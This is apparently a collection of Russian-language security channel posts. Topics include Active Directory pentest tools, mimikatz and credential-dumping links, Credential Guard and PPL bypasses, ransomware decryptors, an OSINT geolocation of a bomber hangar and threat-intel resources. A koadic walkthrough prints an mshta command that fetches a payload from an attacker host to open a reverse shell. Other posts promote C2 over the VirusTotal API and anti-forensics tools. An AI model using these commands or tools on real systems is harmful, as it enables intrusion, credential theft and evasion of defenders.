#windows

Полезные тулзы во время пентеста Active Directory

Список самый простой, но интересный:

🔘 Impacket - набор для работы с сетевыми протоколами в инфраструктуре AD
🔘 Bloodhound - сбор информации об инфраструктуре AD
🔘 PowerSploit - модифицирует и подготавливает скрипты для выполнения кода на машине жертвы.
🔘 Neo4j - помогает структурировать данные
🔘 Mimikatz - позволяет просматривать и сохранять учетные данные
🔘 Evil-WinRM - WinRM Shell
🔘 Kerbrute - можно сделать User Enumeration
🔘 Responder - можно сделать SMB-Relay

🔥Небольшая шпаргалка по VT

#ti #threatint #vti #virustotal #cheatsheet

🔥List of plugins for IDA

https://github.com/vmallet/ida-plugins

#reverse #ida #plugin

🔥Writing a game trainer for game

#reverse #game #injector #trainer

🔥Remotely Control Any PC With koadic freamework!

https://www.youtube.com/watch?v=UImsfTpYjvU&ab_channel=LoiLiangYang

#c2 #postexploitation #reverseshell #lolbas #tools #pentest #redteam

kali$ git clone https://github.com/zerosum0x0/koadic.git

Run koadic

kali$ use stager/js/mshta

Fill stager option like in metasploit via SET

kali$ run

windows> mshta http://192.168.1.3:1234/BFIER

Wow! You've got a reverse shell!

kali$ zombies

kali$ cmdhell 0

Enjoy & Destroy!

#c2 #postexploitation #reverseshell #lolbas #tools #pentest #redteam

🔥Malpedia

Этот инструмент позволяет получить информацию о вредоносном ПО или об APT группировке, а также найти упоминания в различных источниках. Обычно в этих источниках публикуются IOC\IOA, которые могут помочь прокачать правила корреляции в SOC.

https://malpedia.caad.fkie.fraunhofer.de/

#feeds #ioc #ioa #apt #malware #soc

​​OSINT-разведчик вычислил ангары с новым сверхсекретным американским бомбандировщиком по звездам😅

☝🏻Помните недавний пост о самолете-невидимке ВВС США под кодовым названием B-21?

🔻OSINT-разведчик под ником Джон Мак Элхон в своем твиттер отметил, что фотография нового самолета-невидимки ВВС США, сделанная ночью, на фоне звезд. Мы можем использовать их, чтобы найти точное местоположение.

Сайт Astrometry.net позволит нам загрузить фотографию звездного неба с фото и нарисовать соответствующие созвездия.

Это также дает нам кучу файлов звездных карт, которые мы можем использовать позже.😊

На исходном веб-сайте изображения B-21 у нас есть некоторые метаданные, такие как дата съемки.

Они были удалены с тех пор, как были опубликованы посты в твиттер, но архив Waybackmachine, все еще позволяет их получить.😅

Импортируя нашу карту звездного неба в Stellarium и добавив туда дату фотографии, мы можем получить визуализацию, которая очень хорошо совпадет с нашим исходным изображением звездного неба.

Исходя из этого и совместив углы созвездия с горизонтом, мы можем оценить время, когда была сделана фотография - 1:30 ночи

1:30 утра — прекрасное время, чтобы выкатить самолет-невидимку из его ангара, когда количество спутников для съемки над США минимально.😉

Мы знаем, что угол между северной звездой и горизонтом даст нам приблизительную широту того места, где стоит наблюдатель.

Предположим, что это место находится где-то в пределах США, поэтому мы можем провести линию по широте 34 градуса через всю страну.

Баз ВВС США куча по всей стране, но не многие пересекают эту линию😄

Исторически сложилось так, что большинство самолетов-невидимок в США строятся в Калифорнии, и мы знаем, что этот самолет построен компанией Northrop Grumman, которая также в основном разрабатывает свои самолеты там.

Сужая наш поиск до Калифорнии, мы находим только одну базу, которая пересекается с линией — авиабаза Эдвардс.😊

У Northrop Grumman не так много объектов для разработки в Эдвардсе, но они есть в 30 милях к югу в региональном аэропорту Палмдейл. Там же разрабатывали самолет В-2. Один виден из представления Google Map

Теперь мы знаем, что это изображение B-21 компании Northrop Grumman, сделанное примерно в 1:30 ночи 29 ноября 2022 года на заводе ВВС 42 (34,6399, -118,0744) — теперь все эти данные общедоступны😎

🔥GEOINT Mindmap

#osint #geoint #mindmap #recon

@hummelchen0 поделился своей заметкой по теме mimikatz.
Теория:
https://www.alteredsecurity.com/post/fantastic-windows-logon-types-and-where-to-find-credentials-in-them - типы логинов в Windows и связанные с ними учетные данные
https://github.com/Ignitetechnologies/Credential-Dumping - методы дампинга учетных данных
https://www.hackingarticles.in/password-dumping-cheatsheet-windows/ - обзор методов дампинга учётных данных
https://en.hackndo.com/remote-lsass-dump-passwords/ - методы удаленного снятия дампа
https://s3cur3th1ssh1t.github.io/Reflective-Dump-Tools/ - дамп из памяти, без загрузки файлов на диск
https://learn.microsoft.com/en-us/dotnet/standard/security/how-to-use-data-protection - основы data protection api (используется для шифрования секретов юзеров, например, паролей в браузерах и т.п.)
https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation/dpapi-extracting-passwords - работа с dpapi
https://keithga.wordpress.com/2013/12/19/sysinternals-autologon-and-securely-encrypting-passwords/ - LSA
https://syfuhs.net/ops108-windows-authentication-internals-in-a-hybrid-world - подробное видео по аутентификации в windows

Mimikatz:
https://neil-fox.github.io/Mimikatz-usage-&-detection/ - основы
https://github.com/gentilkiwi/mimikatz/wiki - официальная вики (неполная)
https://hackware.ru/?p=11265 - команды для работы с учетными данными
https://hackware.ru/?p=11350 - работа с dpapi
https://blog.xpnsec.com/exploring-mimikatz-part-1/ - статьи по принципам работы
https://blog.xpnsec.com/exploring-mimikatz-part-2/
https://blog.3or.de/mimikatz-deep-dive-on-lsadumplsa-patch-and-inject.html - работа с lsass
https://s3cur3th1ssh1t.github.io/Building-a-custom-Mimikatz-binary/ - кастомизация
https://posts.specterops.io/mimidrv-in-depth-4d273d19e148 - работа с mimidrv
https://gist.github.com/insi2304/484a4e92941b437bad961fcacda82d49 - cheatsheet по наиболее популярным командам
https://blog.netwrix.com/2022/09/28/manipulating-user-passwords-with-mimikatz/ - манипуляции с учетными данными
https://habr.com/ru/company/angarasecurity/blog/661341/ - разные способы дампа LSASS от @snovvcrash

Обход credguard:
https://teamhydra.blog/2020/08/25/bypassing-credential-guard/
https://itm4n.github.io/credential-guard-bypass/

Обход PPL:
https://github.com/RedCursorSecurityConsulting/PPLKiller
https://github.com/itm4n/PPLdump
https://www.redcursor.com.au/blog/bypassing-lsa-protection-aka-protected-process-light-without-mimikatz-on-windows-10
https://itm4n.github.io/lsass-runasppl/
https://blog.scrt.ch/2021/04/22/bypassing-lsa-protection-in-userland/

🔥Decryptor links

Пара ссылочек, где можно попробовать поискать декриптор под популярные Ransomware

https://id-ransomware.malwarehunterteam.com/index.php
https://noransom.kaspersky.com/
https://www.emsisoft.com/en/ransomware-decryption/
https://www.nomoreransom.org/en/decryption-tools.html
https://www.avast.com/ransomware-decryption-tools

#dfir #decryptor #ransom #ransomware

🔥С2 via VirusTotal API

Abusing VirusTotal API to host our C2 traffic, usefull for bypassing blocking firewall rules if VirusTotal is in the target white list , and in case you don't have C2 infrastructure , now you have a free one

https://github.com/D1rkMtr/VirusTotalC2

#c2 #redteam #pentest #virustotal

У MITRE Engenuity есть бесплатная программа обучения MITRE ATT&CK Defender (MAD), в рамках которой можно пройти изучить аспекты применения ATT&CK для Threat Intel, SecOps, Adversary Emulation, Threat Hunting, Purple Teamig.

Само обучение бесплатное (на Cybrary), а вот если хочется получать бейджи и проходить сертификации, то надо платить (499 долларов для физлиц).

🔥Happy New Year

Всех поздравляю с тем, что мир не треснул пополам в этом году.

Предстоит очередной год, очередные испытания, которые сделают нас опытнее, а значит и сильнее.

Желаю больше интересных кейсов в новом году.

🔥Всем киберсекурного 2023🔥

🔥Antiforensic

Anti Forensics Tool For Red Teamers, Used For Erasing Some Footprints In The Post Exploitation Phase.

https://github.com/PaulNorman01/Forensia

#redteam #forensic #evasion

🔥База эксплоитов

Здесь можно получить эксплоиты, в том числе и свежие. Помимо этого есть возможность посмотреть статистику по эксплоитам.

https://www.exploitalert.com/browse-exploit.html

#pentest #redteam #exploit